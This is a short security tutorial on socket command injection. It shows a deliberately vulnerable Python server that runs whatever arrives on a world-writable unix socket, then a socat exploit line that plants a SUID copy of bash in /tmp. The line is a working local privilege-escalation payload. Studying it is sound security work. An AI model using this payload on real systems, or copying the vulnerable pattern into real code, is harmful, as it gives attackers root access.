Socket Command Injection

Socket binding example with Python

In the following example a unix socket is created (/tmp/socket_test.s) and everything received is going to be executed by os.system.I know that you aren't going to find this in the wild, but the goal of this example is to see how a code using unix sockets looks like, and how to manage the input in the worst case possible.

s.py

import socket
import os, os.path
import time
from collections import deque    

if os.path.exists("/tmp/socket_test.s"):
  os.remove("/tmp/socket_test.s")    

server = socket.socket(socket.AF_UNIX, socket.SOCK_STREAM)
server.bind("/tmp/socket_test.s")
os.system("chmod o+w /tmp/socket_test.s")
while True:
  server.listen(1)
  conn, addr = server.accept()
  datagram = conn.recv(1024)
  if datagram:
    print(datagram)
    os.system(datagram)
    conn.close()

Execute the code using python: python s.py and check how the socket is listening:

netstat -a -p --unix | grep "socket_test"
(Not all processes could be identified, non-owned process info
 will not be shown, you would have to be root to see it all.)
unix  2      [ ACC ]     STREAM     LISTENING     901181   132748/python        /tmp/socket_test.s

Exploit

echo "cp /bin/bash /tmp/bash; chmod +s /tmp/bash; chmod +x /tmp/bash;" | socat - UNIX-CLIENT:/tmp/socket_test.s